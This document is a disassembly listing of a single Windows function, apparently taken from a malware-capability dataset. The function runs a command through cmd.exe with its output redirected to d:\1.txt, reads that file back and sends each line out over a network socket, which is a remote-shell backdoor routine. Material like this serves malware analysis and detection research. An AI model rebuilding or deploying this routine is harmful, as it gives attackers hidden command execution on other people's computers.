Function at 0x404890
Capabilities:
Create process on windows
Send data
Send data on socket

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x58e9be
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x19a0
call fcn.00563ab0
mov eax, dword [0x5f3e24]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x18b0], ecx
mov dword [ebp - 0x18a8], ecx
push 0x48
lea eax, [ebp - 0x64]
mov dword [ebp - 0x18a8], ecx
push 0
push eax
mov dword [ebp - 0x18ac], 0
call fcn.00564e00
add esp, 0xc
lea eax, [ebp - 0x880]
push 0x800
push 0
push eax
call fcn.00564e00
movups xmm0, xmmword [str.C:WindowsSystem32cmd.exe]
mov eax, dword [0x5d3b14]
lea ecx, [ebp - 0x880]
add esp, 0xc
mov dword [ebp - 0x68], eax
movups xmmword [ebp - 0x80], xmm0
dec ecx
movq xmm0, qword [0x5d3b0c]
movq qword [ebp - 0x70], xmm0
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x404940
mov eax, dword [str.__c]
mov edx, esi
mov dword [ecx], eax
mov al, byte [0x5d3b1c]
mov byte [ecx + 4], al
nop dword [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x404960
lea edi, [ebp - 0x880]
sub esi, edx
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x404970
mov ecx, esi
shr ecx, 2
mov dword [ebp - 0x18a8], esi
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x18a8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x880]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x4049a0
mov eax, dword [str._d:1.txt]
xorps xmm0, xmm0
mov dword [ecx], eax
mov eax, dword [0x5d3b24]
mov dword [ecx + 4], eax
mov ax, word [0x5d3b28]
mov word [ecx + 8], ax
lea eax, [ebp - 0x80]
mov dword [ebp - 0x18e4], eax
lea eax, [ebp - 0x880]
mov dword [ebp - 0x18e0], eax
lea eax, [ebp - 0x18f4]
push eax
movlpd qword [ebp - 0x18d0], xmm0
movlpd qword [ebp - 0x18c8], xmm0
movlpd qword [ebp - 0x18c0], xmm0
mov dword [ebp - 0x18f4], 0x3c
mov dword [ebp - 0x18f0], 0x40
mov dword [ebp - 0x18ec], 0
mov dword [ebp - 0x18e8], 0
mov dword [ebp - 0x18dc], 0
mov dword [ebp - 0x18d8], 0
mov dword [ebp - 0x18d4], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
push 0xffffffffffffffff
push dword [ebp - 0x18bc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x19b0], 0x5d3be4
mov dword [ebp - 0x1938], 0
mov dword [ebp - 0x1918], 0
mov dword [ebp - 0x1914], 0
mov dword [ebp - 0x1910], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x19a0]
push 0
xorps xmm0, xmm0
mov dword [ebp - 0x18ac], 2
push eax
lea ecx, [ebp - 0x1940]
mov dword [ebp - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov dword [ebp - 0x1944], 0x58
movlpd qword [ebp - 0x19a8], xmm0
call fcn.004067c0
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x19b0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x19b0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x19b4], eax
lea ecx, [ebp - 0x19a0]
call fcn.004064e0
push ecx
push 1
push str.d:1.txt
lea ecx, [ebp - 0x19a0]
mov byte [ebp - 4], 3
call fcn.004063a0
test eax, eax
jne 0x404b47
mov eax, dword [ebp - 0x19b0]
lea ecx, [ebp - 0x19b0]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00408920
mov dword [ebp - 4], 4
xorps xmm0, xmm0
movups xmmword [ebp - 0x898], xmm0
mov dword [ebp - 0x888], 0
mov dword [ebp - 0x884], 0xf
mov byte [ebp - 0x898], 0
nop dword [eax]
nop word [eax + eax]
mov eax, dword [ebp - 0x19b0]
mov eax, dword [eax + 4]
mov eax, dword [ebp + eax - 0x1980]
mov esi, dword [eax + 4]
mov ecx, esi
mov dword [ebp - 0x18b4], esi
mov eax, dword [esi]
call dword [eax + 4]
lea eax, [ebp - 0x18b8]
mov byte [ebp - 4], 6
push eax
call fcn.00407e00
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0xa
mov eax, dword [edx + 0x20]
call eax
mov byte [ebp - 0x18a8], al
mov byte [ebp - 4], 5
test esi, esi
je 0x404be1
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 8]
call eax
test eax, eax
je 0x404be1
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
push dword [ebp - 0x18a8]
lea edx, [ebp - 0x898]
lea ecx, [ebp - 0x19b0]
call fcn.00407330
mov ecx, eax
add esp, 4
mov eax, dword [ecx]
mov eax, dword [eax + 4]
test byte [eax + ecx + 0xc], 6
jne 0x404c89
push 0x800
lea eax, [ebp - 0x109c]
push 0
push eax
call fcn.00564e00
add esp, 0xc
lea eax, [ebp - 0x898]
cmp dword [ebp - 0x884], 0x10
lea edx, [ebp - 0x109c]
cmovae eax, dword [ebp - 0x898]
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [eax + edx - 1], cl
test cl, cl
jne 0x404c40
push 0
push 0x804
lea eax, [ebp - 0x18a4]
mov dword [ebp - 0x10a0], 3
push eax
push dword [0x5fd5e4]
mov ecx, 0x201
lea esi, [ebp - 0x10a0]
lea edi, [ebp - 0x18a4]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x404b80
mov esi, dword [ebp - 0x18b0]
xorps xmm0, xmm0
mov byte [ebp - 4], 4
mov ecx, dword [ebp - 0x884]
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
cmp ecx, 0x10
jb 0x404cf2
mov edx, dword [ebp - 0x898]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x404ce8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404d8b
push ecx
push edx
call fcn.00562bc8
add esp, 8
mov eax, dword [ebp - 0x19b0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x19b0]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x19b4], eax
lea ecx, [ebp - 0x19a0]
call fcn.004059e0
mov eax, dword [ebp - 0x19b0]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x19b0]
mov edx, dword [eax + 4]
lea ecx, [edx - 0x18]
mov dword [ebp + edx - 0x19b4], ecx
lea eax, [ebp - 0x1940]
mov dword [ebp - 4], 7
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.0041734a
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00562bba
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.005680f5
int3